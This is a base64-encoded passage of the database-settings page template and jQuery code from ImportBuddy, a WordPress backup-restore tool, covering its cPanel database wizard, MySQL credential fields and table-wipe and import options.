UgPSBqUXVlcnkoJzxhPicpLnByb3AoJ2hyZWYnLCB1cmwpLnByb3AoJ2hvc3RuYW1lJyk7CgkJCS8vYWxlcnQoIGhvc3RuYW1lICk7CgkJCWpRdWVyeSggJyNjcGFuZWxfdXJsJyApLnZhbCggaG9zdG5hbWUgKTsKCQkJLy9qUXVlcnkoICcuY3BhbmVsX3VybF9mdWxsJyApLmh0bWwoICdodHRwOi8vJyArIGhvc3RuYW1lICsgJzoyMDgyLycgKTsKCQkJCgkJfSk7CgkJalF1ZXJ5KCAnI2NwYW5lbF91cmwnICkuY2hhbmdlKCBmdW5jdGlvbigpIHsKCQkJLy9qUXVlcnkoICcuY3BhbmVsX3VybF9mdWxsJyApLmh0bWwoICdodHRwOi8vJyArIGpRdWVyeSh0aGlzKS52YWwoKSArICc6MjA4Mi8nICk7CgkJfSk7CgkJalF1ZXJ5KCcubGVhbk1vZGFsJykubGVhbk1vZGFsKAoJCQl7IHRvcCA6IDQ1LCBvdmVybGF5IDogMC40LCBjbG9zZUJ1dHRvbjogIi5tb2RhbF9jbG9zZSIgfQoJCSk7CgkJCgkJalF1ZXJ5KCAnLmNwYW5lbF91c2VyJyApLmNoYW5nZShmdW5jdGlvbigpewoJCQlqUXVlcnkoICcuY3BhbmVsX3VzZXJfbWlycm9yJyApLmh0bWwoIGpRdWVyeSggJyNjcGFuZWxfdXNlcicgKS52YWwoKS5zdWJzdHJpbmcoMCw4KSArICdfJyApOwoJCX0pOwoJCQoJCWpRdWVyeSggJy5jcGFuZWxfY3JlYXRlZGJfY3JlYXRlJyApLmNsaWNrKCBmdW5jdGlvbigpIHsKCQkJLy8gVmFsaWRhdGUgZGIgc3R1ZmYgaXMgYWxsIGFscGhhbnVtZXJpYy4KCQkJaWYgKAoJCQkJKCBmYWxzZSA9PSAvXlthLXpBLVowLTldKyQvLnRlc3QoIGpRdWVyeSgnI2NwYW5lbF9kYm5hbWUnKS52YWwoKSApICkKCQkJCXx8CgkJCQkoIGZhbHNlID09IC9eW2EtekEtWjAtOV0rJC8udGVzdCggalF1ZXJ5KCcjY3BhbmVsX2RidXNlcicpLnZhbCgpICkgKQoJCQkJKSB7CgkJCQlhbGVydCggJ0RhdGFiYXNlIHZhbHVlcyAoZXhjZXB0IHBhc3N3b3JkKSBtdXN0IGNvbnRhaW4gYWxwaGFudW1lcmljIGNoYXJhY3RlcnMgb25seSBhbmQgbm8gc3BhY2VzLiBDb3JyZWN0IHRoaXMgYW5kIHRyeSBhZ2Fpbi4nICk7CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCQkJCgkJCS8vIFZhbGlkYXRlIGlucHV0IGxlbmd0aHMuCgkJCWlmICggalF1ZXJ5KCcjY3BhbmVsX2RicGFzcycpLnZhbCgpLmxlbmd0aCA8IDUgKSB7CgkJCQlhbGVydCggJ0RhdGFiYXNlIHBhc3N3b3JkcyBtdXN0IGJlIDUgb3IgbW9yZSBjaGFyYWN0ZXJzIGluIGxlbmd0aC4nICk7CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCQkJCgkJCU5Qcm9ncmVzcy5zdGFydCgpOwoJCQkKCQkJalF1ZXJ5LnBvc3QoCgkJCQknaW1wb3J0YnVkZHkucGhwP2FqYXg9Y3BhbmVsX2NyZWF0ZWRiJywKCQkJCWpRdWVyeSggJyNjcGFuZWxfY3JlYXRlZGJfZm9ybScgKS5zZXJpYWxpemUoKSwgZnVuY3Rpb24oZGF0YSkgewoJCQkJCU5Qcm9ncmVzcy5kb25lKCk7CgkJCQkJCgkJCQkJZGF0YSA9IGpRdWVyeS50cmltKCBkYXRhICk7CgkJCQkJalF1ZXJ5KCcjaXRoZW1lc19sb2FkaW5nJykuaHRtbCggZGF0YSApOwoJCQkJCWpRdWVyeSggJy5jcGFuZWxfY3JlYXRlZGJfbG9hZGluZycgKS5oaWRlKCk7CgkJCQkJCgkJCQkJLy9hbGVydCggJ3NsaWNlOiAnICsgZGF0YS5zbGljZSggLTcgKSApOwoJCQkJCWlmICggZGF0YS5zbGljZSggMCw3ICkgPT0gJ1N1Y2Nlc3MnICkgewoJCQkJCQkKCQkJCQkJalF1ZXJ5KCAnI215c3FsX2RhdGFiYXNlJyApLnZhbCggalF1ZXJ5KCAnI2NwYW5lbF91c2VyJyApLnZhbCgpICsgJ18nICsgalF1ZXJ5KCcjY3BhbmVsX2RibmFtZScpLnZhbCgpICk7CgkJCQkJCWpRdWVyeSggJyNteXNxbF91c2VybmFtZScgKS52YWwoIGpRdWVyeSggJyNjcGFuZWxfdXNlcicgKS52YWwoKSArICdfJyArIGpRdWVyeSgnI2NwYW5lbF9kYnVzZXInKS52YWwoKSApOwoJCQkJCQlqUXVlcnkoICcjbXlzcWxfcGFzc3dvcmQnICkudmFsKCBqUXVlcnkoJyNjcGFuZWxfZGJwYXNzJykudmFsKCkgKTsKCQkJCQkJCgkJCQkJCWFsZXJ0KCBkYXRhICsgIlxuXG4iICsgJ1lvdXIgZGF0YWJhc2Ugc2V0dGluZ3Mgd2lsbCBub3cgYmUgc2V0LicgKTsKCQkJCQkJalF1ZXJ5KCcubW9kYWxfY2xvc2UnKS50cmlnZ2VyKCdjbGljaycpOwoJCQkJCQkKCQkJCQl9IGVsc2UgewoJCQkJCQlhbGVydCggZGF0YSApOwoJCQkJCQkvL2pRdWVyeSgnLnBiX2RhdGFiYXNlX25leHRfdGVzdCcpLmFkZENsYXNzKCAnYnV0dG9uX2Rpc2FibGVkJyApOwoJCQkJCX0KCQkJCQkKCQkJCX0KCQkJKTsKCQkJCgkJCXJldHVybiBmYWxzZTsKCQl9KTsKCQkKCX0pOwo8L3NjcmlwdD4KCjxkaXYgaWQ9ImRhdGFiYXNlLWJveCI+Cgk8ZGl2IGNsYXNzPSJkYXRhYmFzZS1kZXNjcmlwdGlvbiI+CgkJPHA+TWFudWFsbHkgZW50ZXIgeW91ciBkYXRhYmFzZSBzZXR0aW5ncyBiZWxvdyBvciBzZWxlY3Qgb25lIG9mIHRoZSBvcHRpb25zIGJlbG93IHRvIGFzc2lzdCB5b3UuIFRoZSA8aT5jUGFuZWwgRGF0YWJhc2UgV2l6YXJkPC9pPiBhbGxvd3MgeW91IHRvIGVudGVyIHlvdXIgY1BhbmVsIGNyZWRlbnRpYWxzIHRvIGNyZWF0ZSBhIGRhdGFiYXNlICYgYXV0by1maWxsIGl0cyBzZXR0aW5ncyBiZWxvdy4gVGhlIDxpPmNQYW5lbCBUdXRvcmlhbDwvaT4gYnV0dG9uIHNob3dzIHlvdSB0aGUgc2ltcGxlc3Qgd2F5IHRvIG1hbnVhbGx5IGNyZWF0ZSBhIGRhdGFiYXNlLiBTZWUgeW91ciBob3N0J3MgZG9jdW1lbnRhdGlvbiBmb3Igbm9uLWNQYW5lbCBob3N0aW5nLiBJZiB5b3UgYXJlIHJlc3RvcmluZyBhIHNpdGUgYmFjayB0byBpdHMgb3JpZ2luYWwgbG9jYXRpb24gKGZvciBpbnN0YW5jZSBhZnRlciBiZWluZyBoYWNrZWQpIHlvdSBtYXkgcmV0YWluIHRoZSBzYW1lIGRhdGFiYXNlIHNldHRpbmdzIGJ5IGNsaWNraW5nIHRoZSBhcHByb3ByaWF0ZSAiY29weSIgbGlua3MgYmV0d2VlbiBzZXR0aW5ncyBiZWxvdy48L3A+CgkJPGRpdiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDI1cHg7IHRleHQtYWxpZ246IGNlbnRlcjsiPgoJCQk8YnV0dG9uIGhyZWY9IiNwYl9jcmVhdGVkYl9tb2RhbCIgY2xhc3M9ImJ1dHRvbiBidXR0b24tc2Vjb25kYXJ5IGxlYW5Nb2RhbCBjcmVhdGVkYl9tb2RhbF9saW5rIiBzdHlsZT0iZm9udC1zaXplOiAxNHB4OyBtYXJnaW4tYm90dG9tOiAxM3B4OyI+Y1BhbmVsIERhdGFiYXNlIFdpemFyZDwvYnV0dG9uPgoJCQk8YnV0dG9uIGhyZWY9IiNwYl9jcGFuZWx0dXRvcmlhbF9tb2RhbCIgY2xhc3M9ImJ1dHRvbiBidXR0b24tc2Vjb25kYXJ5IGxlYW5Nb2RhbCBjcmVhdGVkYl9tb2RhbF9saW5rIiBzdHlsZT0iZm9udC1zaXplOiAxNHB4OyI+Y1BhbmVsIERhdGFiYXNlIFR1dG9yaWFsPC9idXR0b24+CgkJPC9kaXY+CgkJPGJyIHN0eWxlPSJjbGVhcjogYm90aDsiPgoJPC9kaXY+CgkKCQoJCgk8aHI+CgkKCQoJPGZvcm0gYWN0aW9uPSI/YWpheD00IiB0YXJnZXQ9Im1pbmlGcmFtZSIgbWV0aG9kPSJwb3N0IiBjbGFzcz0iZGJfc2V0dGluZyIgIGlkPSJiYWNrdXBidWRkeS1kYlNldHRpbmdzRm9ybSI+PCEtLSB0aGlzIGZvcm0gaXMgb25seSBzdWJtaXR0ZWQgYWZ0ZXIgcnVubmluZyB0aHJvdWdoIGphdmFzY3JpcHQuIHN1Ym1pdHRpbmcgYWN0dWFsIGZvcm0gaW5zdGVhZCBvZiB1c2luZyBqUXVlcnkgcG9zdCBzbyB3ZSBjYW4gdGFyZ2V0IGlmcmFtZS4gLS0+CgkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icmVzdG9yZURhdGEiIHZhbHVlPSIiIGlkPSJiYWNrdXBidWRkeS1kYlNldHRpbmdzRm9ybS1yZXN0b3JlRGF0YSI+PCEtLSB0aGlzIGlzIHRoZSBvbmx5IHRoaW5nIHRoYXQgd2lsbCBuZWVkIHBhcnNlZCBieSBQSFAgb24gdGhlIHJlY2VpdmluZyBlbmQuIHBvcHVsYXRlZCBvbiBzdWJtaXQgYWZ0ZXIgZGIgdGVzdCBwYXNzZXMuIC0tPgoJCQoJCQoJCTx0YWJsZSBjbGFzcz0ic2V0dGluZ3NUYWJsZSI+CgkJCQoJCQk8dHI+PHRoIHN0eWxlPSJ3aWR0aDogMzAlOyI+Jm5ic3A7PC90aD48dGggc3R5bGU9IndpZHRoOiAzMCU7Ij5PbGQgRGF0YWJhc2U8L3RoPgoJCQkJPHRkIGNsYXNzPSJzZXR0aW5nQ29weSBzZXR0aW5nQ29weUFsbCIgd2lkdGg9IjEwJSIgc3R5bGU9InBhZGRpbmc6IDEwcHg7Ij4KCQkJCQk8YSBocmVmPSIjIiB0aXRsZT0iQ2xpY2sgdG8gY29weSBhbGwgb2xkIGRhdGFiYXNlIHNldHRpbmdzIG92ZXIuIj4mcmFycjs8L2E+CgkJCQk8L3RkPjx0aCBzdHlsZT0id2lkdGg6IDMwJTsiPk5ldyBEYXRhYmFzZTwvdGg+PC90cj4KCQkJCgkJCTx0cj48IS0tIE1ZU1FMIFNFUlZFUiAtLT4KCQkJCTx0ZD4KCQkJCQlEYXRhYmFzZSBTZXJ2ZXIgPHNwYW4gY2xhc3M9ImxpZ2h0Ij4oTXlTUUwpPC9zcGFuPiA8JT0gdGlwKCAnVGhpcyBpcyB0aGUgYWRkcmVzcyB0byB0aGUgbXlTUUwgc2VydmVyIHdoZXJlIHlvdXIgZGF0YWJhc2Ugd2lsbCBiZSBzdG9yZWQuIDk5JSBvZiB0aGUgdGltZSB0aGlzIGlzIGxvY2FsaG9zdC4gIFRoZSBsb2NhdGlvbiBvZiB5b3VyIG15U1FMIHNlcnZlciB3aWxsIGJlIHByb3ZpZGVkIHRvIHlvdSBieSB5b3VyIGhvc3QgaWYgaXQgZGlmZmVycy4nICkgJT4KCQkJCTwvdGQ+CgkJCQk8dGQ+CgkJCQkJPGlucHV0IGNsYXNzPSJkYl9zZXR0aW5nIG9sZF9zZXR0aW5nIiB0eXBlPSJ0ZXh0IiB2YWx1ZT0iPCU9IGRhdC5kYl9zZXJ2ZXIgJT4iIHJlYWRvbmx5PSJyZWFkb25seSI+CgkJCQk8L3RkPgoJCQkJPHRkIGNsYXNzPSJzZXR0aW5nQ29weSI+CgkJCQkJPGEgaHJlZj0iIyIgdGl0bGU9IkNsaWNrIHRvIGNvcHkgb2xkIHNldHRpbmcgb3Zlci4iPiZyYXJyOzwvYT4KCQkJCTwvdGQ+CgkJCQk8dGQ+CgkJCQkJPGlucHV0IGNsYXNzPSJkYl9zZXR0aW5nIiB0eXBlPSJ0ZXh0IiBpZD0ibXlzcWxfc2VydmVyIiB2YWx1ZT0iIiB0YWJpbmRleD0iMSI+CgkJCQk8L3RkPgoJCQk8L3RyPgoJCQkKCQkJPHRyPjwhLS0gREFUQUJBU0UgTkFNRSAtLT4KCQkJCTx0ZD4KCQkJCQlEYXRhYmFzZSBOYW1lIDwlPSB0aXAoICdUaGlzIGlzIHRoZSBuYW1lIG9mIHRoZSBkYXRhYmFzZSB5b3Ugd2FudCB0byBpbXBvcnQgeW91ciBibG9nIGludG8uIFRoZSBkYXRhYmFzZSB1c2VyIG11c3QgaGF2ZSBwZXJtaXNzaW9ucyB0byBiZSBhYmxlIHRvIGFjY2VzcyB0aGlzIGRhdGFiYXNlLiAgSWYgeW91IGFyZSBtaWdyYXRpbmcgdGhpcyBibG9nIHRvIGEgbmV3IGhvc3QgeW91IHdpbGwgbmVlZCB0byBjcmVhdGUgdGhpcyBkYXRhYmFzZSAoaWUgdXNpbmcgQ1BhbmVsIG9yIHBocG15YWRtaW4pIGFuZCBjcmVhdGUgYSBteXNxbCBkYXRhYmFzZSB1c2VyIHdpdGggcGVybWlzc2lvbnMuJyApICU+CgkJCQk8L3RkPgoJCQkJPHRkPgoJCQkJCTxpbnB1dCBjbGFzcz0iZGJfc2V0dGluZyBvbGRfc2V0dGluZyIgdHlwZT0idGV4dCIgdmFsdWU9IjwlPSBkYXQuZGJfbmFtZSAlPiIgcmVhZG9ubHk9InJlYWRvbmx5Ij4KCQkJCTwvdGQ+CgkJCQk8dGQgY2xhc3M9InNldHRpbmdDb3B5Ij4KCQkJCQk8YSBocmVmPSIjIiB0aXRsZT0iQ2xpY2sgdG8gY29weSBvbGQgc2V0dGluZyBvdmVyLiI+JnJhcnI7PC9hPgoJCQkJPC90ZD4KCQkJCTx0ZD4KCQkJCQk8aW5wdXQgY2xhc3M9ImRiX3NldHRpbmciIHR5cGU9InRleHQiIGlkPSJteXNxbF9kYXRhYmFzZSIgdmFsdWU9IiIgdGFiaW5kZXg9IjIiPgoJCQkJPC90ZD4KCQkJPC90cj4KCQkJCgkJCTx0cj48IS0tIERBVEFCQVNFIFVTRVIgLS0+CgkJCQk8dGQ+CgkJCQkJRGF0YWJhc2UgVXNlciA8JT0gdGlwKCAnVGhpcyBpcyB0aGUgZGF0YWJhc2UgdXNlciBhY2NvdW50IHRoYXQgaGFzIHBlcm1pc3Npb24gdG8gYWNjZXNzIHRoZSBkYXRhYmFzZSBuYW1lIGluIHRoZSBpbnB1dCBhYm92ZS4gIFRoaXMgdXNlciBtdXN0IGJlIGdpdmVuIHBlcm1pc3Npb24gdG8gdGhpcyBkYXRhYmFzZSBmb3IgdGhlIGltcG9ydCB0byB3b3JrLicgKSAlPgoJCQkJPC90ZD4KCQkJCTx0ZD4KCQkJCQk8aW5wdXQgY2xhc3M9ImRiX3NldHRpbmcgb2xkX3NldHRpbmciIHR5cGU9InRleHQiIHZhbHVlPSI8JT0gZGF0LmRiX3VzZXIgJT4iIHJlYWRvbmx5PSJyZWFkb25seSI+CgkJCQk8L3RkPgoJCQkJPHRkIGNsYXNzPSJzZXR0aW5nQ29weSI+CgkJCQkJPGEgaHJlZj0iIyIgdGl0bGU9IkNsaWNrIHRvIGNvcHkgb2xkIHNldHRpbmcgb3Zlci4iPiZyYXJyOzwvYT4KCQkJCTwvdGQ+CgkJCQk8dGQ+CgkJCQkJPGlucHV0IGNsYXNzPSJkYl9zZXR0aW5nIiB0eXBlPSJ0ZXh0IiBpZD0ibXlzcWxfdXNlcm5hbWUiIHZhbHVlPSIiIHRhYmluZGV4PSIzIj4KCQkJCTwvdGQ+CgkJCTwvdHI+CgkJCQoJCQk8dHI+PCEtLSBEQVRBQkFTRSBQQVNTIC0tPgoJCQkJPHRkPgoJCQkJCURhdGFiYXNlIFBhc3N3b3JkIDwlPSB0aXAoICdUaGlzIGlzIHRoZSBwYXNzd29yZCBmb3IgdGhlIGRhdGFiYXNlIHVzZXIuJyApICU+CgkJCQk8L3RkPgoJCQkJPHRkPgoJCQkJCTxpbnB1dCBjbGFzcz0iZGJfc2V0dGluZyBvbGRfc2V0dGluZyIgdHlwZT0idGV4dCIgdmFsdWU9IjwlPSBkYXQuZGJfcGFzc3dvcmQgJT4iIHJlYWRvbmx5PSJyZWFkb25seSI+CgkJCQk8L3RkPgoJCQkJPHRkIGNsYXNzPSJzZXR0aW5nQ29weSI+CgkJCQkJPGEgaHJlZj0iIyIgdGl0bGU9IkNsaWNrIHRvIGNvcHkgb2xkIHNldHRpbmcgb3Zlci4iPiZyYXJyOzwvYT4KCQkJCTwvdGQ+CgkJCQk8dGQ+CgkJCQkJPGlucHV0IGNsYXNzPSJkYl9zZXR0aW5nIiB0eXBlPSJ0ZXh0IiBpZD0ibXlzcWxfcGFzc3dvcmQiIHZhbHVlPSIiIHRhYmluZGV4PSI0Ij4KCQkJCTwvdGQ+CgkJCTwvdHI+CgkJCQoJCQk8dHI+PCEtLSBEQVRBQkFTRSBQUkVGSVggLS0+CgkJCQk8dGQ+CgkJCQkJRGF0YWJhc2UgUHJlZml4IDwlPSB0aXAoICdUaGlzIGlzIHRoZSBwcmVmaXggZ2l2ZW4gdG8gYWxsIHRhYmxlcyBpbiB0aGUgZGF0YWJhc2UuICBJZiB5b3UgYXJlIGNsb25pbmcgdGhlIHNpdGUgb24gdGhlIHNhbWUgc2VydmVyIEFORCB0aGUgc2FtZSBkYXRhYmFzZSBuYW1lIHRoZW4geW91IHdpbGwgd2FudCB0byBjaGFuZ2UgdGhpcyBvciBlbHNlIHRoZSBpbXBvcnRlZCBkYXRhYmFzZSB3aWxsIG92ZXJ3cml0ZSB0aGUgZXhpc3RpbmcgdGFibGVzLiBUaGlzIHNob3VsZCBOT1QgaW5jbHVkZSBtb3JlIHRoYW4gb25lIHVuZGVyc2NvcmUuIEV4YW1wbGUgMTogd3BfLCBFeGFtcGxlIDI6IHdwNF8sIEV4YW1wbGUgMzogZHVzdGluc2Jsb2dfJyApICU+CgkJCQk8L3RkPgoJCQkJPHRkPgoJCQkJCTxpbnB1dCBjbGFzcz0iZGJfc2V0dGluZyBvbGRfc2V0dGluZyIgdHlwZT0idGV4dCIgdmFsdWU9IjwlPSBkYXQuZGJfcHJlZml4ICU+IiByZWFkb25seT0icmVhZG9ubHkiPgoJCQkJPC90ZD4KCQkJCTx0ZCBjbGFzcz0ic2V0dGluZ0NvcHkiPgoJCQkJCTxhIGhyZWY9IiMiIHRpdGxlPSJDbGljayB0byBjb3B5IG9sZCBzZXR0aW5nIG92ZXIuIj4mcmFycjs8L2E+CgkJCQk8L3RkPgoJCQkJPHRkPgoJCQkJCTxpbnB1dCBjbGFzcz0iZGJfc2V0dGluZyIgdHlwZT0idGV4dCIgaWQ9Im15c3FsX3ByZWZpeCIgdmFsdWU9IiIgdGFiaW5kZXg9IjUiPgoJCQkJPC90ZD4KCQkJPC90cj4KCQkJCgkJPC90YWJsZT4KCQkKCQkKCQkKCQk8ZGl2IHN0eWxlPSJtYXJnaW4tdG9wOiAzNXB4OyBtYXJnaW4tYm90dG9tOiAzNXB4OyB0ZXh0LWFsaWduOiBjZW50ZXI7Ij4KCQkJPGRpdiBpZD0iZGJfdGVzdF9jb250YWluZXIiIHN0eWxlPSJkaXNwbGF5OiBub25lOyBtYXJnaW4tYm90dG9tOiAwOyBwYWRkaW5nOiAyNXB4OyB0ZXh0LWFsaWduOiBsZWZ0OyIgY2xhc3M9InJvdW5kLXdyYXAiPgoJCQk8L2Rpdj4KCQkJCgkJCTxkaXYgaWQ9Imlnbm9yZV9wcmVmaXhfd2FybmluZ3MiIHN0eWxlPSJkaXNwbGF5OiBub25lOyBtYXJnaW4tYm90dG9tOiAyNXB4OyI+CgkJCQk8Yj5JZ25vcmUgcHJlZml4IHdhcm5pbmdzPzwvYj4KCQkJCSZuYnNwOyZuYnNwOwoJCQkJPGxhYmVsPgoJCQkJCTxpbnB1dCBjbGFzcz0iZGJfc2V0dGluZyIgdHlwZT0iY2hlY2tib3giIG5hbWU9Imlnbm9yZV9kYnRlc3Rfd2FybmluZ3MiIGlkPSJpZ25vcmVfcHJlZml4X3dhcm5pbmdzX2NoZWNrYm94IiB2YWx1ZT0iMSI+CgkJCQkJWWVzLCBwcm9jZWVkIHdpdGggdGhpcyBwcmVmaXguCgkJCQk8L2xhYmVsPgoJCQk8L2Rpdj4KCgoJCQk8JSBpZiAoIGZhbHNlID09PSByZXN0b3JlRGF0YWJhc2UgKSB7ICU+CgkJCQk8ZGl2PgoJCQkJCURhdGFiYXNlIHdpbGwgPGI+bm90PC9iPiBiZSByZXN0b3JlZCBmcm9tIHRoZSBiYWNrdXAgYmFzZWQgb24geW91ciBzZWxlY3Rpb24gb24gU3RlcCAxLgoJCQkJPC9kaXY+CgkJCTwlIH0gJT4KCQoJCQk8ZGl2IGlkPSJkYl93aXBlX29wdGlvbnMiIHN0eWxlPSI8JSBpZiAoIGZhbHNlID09PSByZXN0b3JlRGF0YWJhc2UgKSB7ICU+IGRpc3BsYXk6IG5vbmU7IDwlIH0gJT4iPgoJCQkJPGI+RGVsZXRlIGV4aXN0aW5nIGRhdGFiYXNlIHRhYmxlcz88L2I+CgkJCQkmbmJzcDsmbmJzcDsKCQkJCTxsYWJlbD4KCQkJCQk8aW5wdXQgY2xhc3M9ImRiX3NldHRpbmciIHR5cGU9ImNoZWNrYm94IiB2YWx1ZT0iMSIgbmFtZT0id2lwZV9wcmVmaXgiIGlkPSJ3aXBlX3ByZWZpeCI+CgkJCQkJTWF0Y2hpbmcgUHJlZml4IDwlPSB0aXAoICdXaGVuIHNlbGVjdGVkIEltcG9ydEJ1ZGR5IHdpbGwgZmlyc3QgZGVsZXRlIGFueSBhbmQgYWxsIGRhdGFiYXNlcyB0YWJsZXMgb24gdGhlIG5ldyBzZXJ2ZXIgdGhhdCBiZWdpbiB3aXRoIHRoZSBuZXcgcHJlZml4LiBGb3IgZXhhbXBsZSwgaWYgeW91ciBuZXcgZGF0YWJhc2UgcHJlZml4IGFib3ZlIGlzIHdwXywgYW55IHRhYmxlIG9uIHRoZSBuZXcgc2VydmVyIHN0YXJ0aW5nIHdpdGggd3BfIGluIHRoZSBuYW1lIHN1Y2ggYXMgd3Bfb3B0aW9ucywgd3BfcG9zdHMsIHdwXy4qLCB3aWxsIGJlIGRyb3BwZWQgLyBkZWxldGVkLiBUaGUgb2xkIGRhdGFiYXNlIHNlcnZlciBpcyBuZXZlciBtb2RpZmllZCBldmVyICh1bmxlc3MgaXQgaXMgdGhlIHNhbWUgc2VydmVyIGFzIHRoZSBuZXcgc2VydmVyKS4nICkgJT4KCQkJCTwvbGFiZWw+CgkJCQkmbmJzcDsmbmJzcDsKCQkJCTxsYWJlbD4KCQkJCQk8aW5wdXQgY2xhc3M9ImRiX3NldHRpbmciIHR5cGU9ImNoZWNrYm94IiB2YWx1ZT0iMSIgbmFtZT0id2lwZV9kYXRhYmFzZSIgaWQ9IndpcGVfZGF0YWJhc2UiIG9uQ2xpY2s9ImpRdWVyeSh0aGlzKS5jbG9zZXN0KCdsYWJlbCcpLmZpbmQoJ3NwYW4nKS50b2dnbGUoKTsiPgoJCQkJCURlbGV0ZSBBbGwgPHNwYW4gY2xhc3M9InBiX2xhYmVsIHBiX2xhYmVsLXdhcm5pbmciIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+VXNlIENhdXRpb248L3NwYW4+CgkJCQk8L2xhYmVsPgoJCQk8L2Rpdj4KCQoJCQkKCQoJCgkKCQoJCgkJPC9kaXY+PCEtLSAvd3JhcCAtLT4KCQkKCQk8ZGl2IGNsYXNzPSJtYWluX2JveF9mb290Ij4KCQkJPGJyPgoJCQk8Y2VudGVyPgoJCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ibmV4dFN0ZXAiIHZhbHVlPSJOZXh0IFN0ZXAiIGNsYXNzPSJpdC1idXR0b24gcGJfZGF0YWJhc2VfbmV4dF90ZXN0Ij4KCQkJCTxidXR0b24gaHJlZj0iI3BiX2FkdmFuY2VkX21vZGFsIiBjbGFzcz0iaXQtYnV0dG9uIGl0LXNlY29uZGFyeSBsZWFuTW9kYWwgY3JlYXRlZGJfbW9kYWxfbGluayI+QWR2YW5jZWQgT3B0aW9uczwvYnV0dG9uPgoJCQk8L2NlbnRlcj4KCQkJCgkJPC9kaXY+CgkKCQoJCgkKCQk8ZGl2IGlkPSJwYl9hZHZhbmNlZF9tb2RhbCIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij4KCQkJPGRpdiBjbGFzcz0ibW9kYWwiPgoJCQkJPGRpdiBjbGFzcz0ibW9kYWxfaGVhZGVyIj4KCQkJCQk8YSBjbGFzcz0ibW9kYWxfY2xvc2UiPiZ0aW1lczs8L2E+CgkJCQkJPGgyPkFkdmFuY2VkIE9wdGlvbnM8L2gyPgoJCQkJCUV4ZXJjaXNlIGNhdXRpb24gdXNpbmcgYWR2YW5jZWQgb3B0aW9ucy4gQWRkaXRpb25hbCBvcHRpb25zIGF2YWlsYWJsZSBvbiBzdWJzZXF1ZW50IHN0ZXBzLgoJCQkJPC9kaXY+CgkJCQk8ZGl2IGNsYXNzPSJtb2RhbF9jb250ZW50Ij4KCQkJCQkKCQkJCQk8bGFiZWw+RGF0YWJhc2UgTWV0aG9kIFN0cmF0ZWd5OiA8L2xhYmVsPgoJCQkJCTxzZWxlY3QgbmFtZT0iZGF0YWJhc2VNZXRob2RTdHJhdGVneSIgaWQ9ImRhdGFiYXNlTWV0aG9kU3RyYXRlZ3kiPgoJCQkJCQk8b3B0aW9uIHZhbHVlPSJwaHAiIFNFTEVDVEVEPlBIUC1iYXNlZDogU3VwcG9ydHMgYXV0b21hdGVkIGNodW5rZWQgcmVzdW1pbmcgLSBkZWZhdWx0PC9vcHRpb24+CgkJCQkJCTxvcHRpb24gdmFsdWU9ImNvbW1hbmRsaW5lIj5Db21tYW5kbGluZTogRmFzdCBidXQgZG9lcyBub3Qgc3VwcG9ydCByZXN1bWluZzwvb3B0aW9uPgoJCQkJCQk8b3B0aW9uIHZhbHVlPSJhbGwiPkFsbCBBdmFpbGFibGU6ICggUEhQIFtjaHVua2luZ10gPiBDb21tYW5kbGluZSB2aWEgZXhlYygpICApPC9vcHRpb24+CgkJCQkJPC9zZWxlY3Q+CgkJCQkJCQoJCQkJCTxicj4KCQkJCQkKCQkJCQk8aW5wdXQgY2xhc3M9ImRiX3NldHRpbmciIHR5cGU9ImNoZWNrYm94IiB2YWx1ZT0iMSIgaWQ9Imlnbm9yZV9zcWxfZXJyb3JzIiBuYW1lPSJpZ25vcmVfc3FsX2Vycm9ycyI+IElnbm9yZSBTUUwgZXJyb3JzICYgZXhpc3RpbmcgV29yZFByZXNzIHRhYmxlcy4gPCU9IHRpcCggJ1doZW4gY2hlY2tlZCBJbXBvcnRCdWRkeSB3aWxsIGFsbG93IGltcG9ydGluZyBkYXRhYmFzZSB0YWJsZXMgdGhhdCBoYXZlIHRoZSBzYW1lIG5hbWUgYXMgZXhpc3RpbmcgdGFibGVzLiBUaGlzIHJlc3VsdHMgaW4gYSBtZXJnZSBvZiB0aGUgZXhpc3RpbmcgZGF0YSB3aXRoIHRoZSBpbXBvcnRlZCBkYXRhYmFzZSBiZWluZyBtZXJnZWQuIE5vdGUgdGhhdCB0aGlzIGlzIGRvZXMgTk9UIHVwZGF0ZSBleGlzdGluZyBkYXRhIGFuZCBvbmx5IEFERFMgbmV3IGRhdGFiYXNlIHRhYmxlIHJvd3MuIEFsbCBvdGhlciBTUUwgY29uZmxpY3QgZXJyb3JzIHdpbGwgYmUgc3VwcHJlc3NlZCBhcyB3ZWxsLiBVc2UgdGhpcyBmZWF0dXJlIHdpdGggY2F1dGlvbi4nICkgJT48YnI+CgkJCQkJTWF4aW11bSB0aW1lIHBlciBjaHVuayB3aGVuIGludGVyYWN0aW5nIHdpdGggZGF0YWJhc2U6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtYXhfZXhlY3V0aW9uX3RpbWUiIGlkPSJtYXhfZXhlY3V0aW9uX3RpbWUiIHZhbHVlPSI8JT0gbWF4RXhlY3V0aW9uVGltZSAlPiIgc2l6ZT0iNSI+IHNlY29uZHMuIDwlPSB0aXAoICdUaGUgbWF4aW11bSBhbW91bnQgb2YgdGltZSBJbXBvcnRCdWRkeSBzaG91bGQgYWxsb3cgYSBkYXRhYmFzZSBpbXBvcnQgY2h1bmsgdG8gcnVuLiBJbXBvcnRCdWRkeSBieSBkZWZhdWx0IGxpbWl0cyBlYWNoIGNodW5rIHRvIHlvdXIgTWF4aW11bSBQSFAgcnVudGltZS4gSWYgeW91ciBkYXRhYmFzZSBpbXBvcnQgc3RlcCBpcyB0aW1pbmcgb3V0IHRoZW4gbG93ZXJpbmcgdGhpcyB2YWx1ZSB3aWxsIGluc3RydWN0IHRoZSBzY3JpcHQgdG8gbGltaXQgZWFjaCBgY2h1bmtgIHRvIGFsbG93IGl0IHRvIGZpbmlzaCB3aXRoaW4gdGhpcyB0aW1lIHBlcmlvZC4gUmFpc2luZyB0aGlzIHZhbHVlIGFib3ZlIHlvdXIgc2VydmVycyBsaW1pdHMgd2lsbCBub3QgaW5jcmVhc2Ugb3Igb3ZlcnJpZGUgc2VydmVyIHNldHRpbmdzLicgKSAlPgoJCQkJCQoJCQkJCTxicj4KCQkJCQkKCQkJCQk8aW5wdXQgY2xhc3M9ImRiX3NldHRpbmciIHR5cGU9ImNoZWNrYm94IiB2YWx1ZT0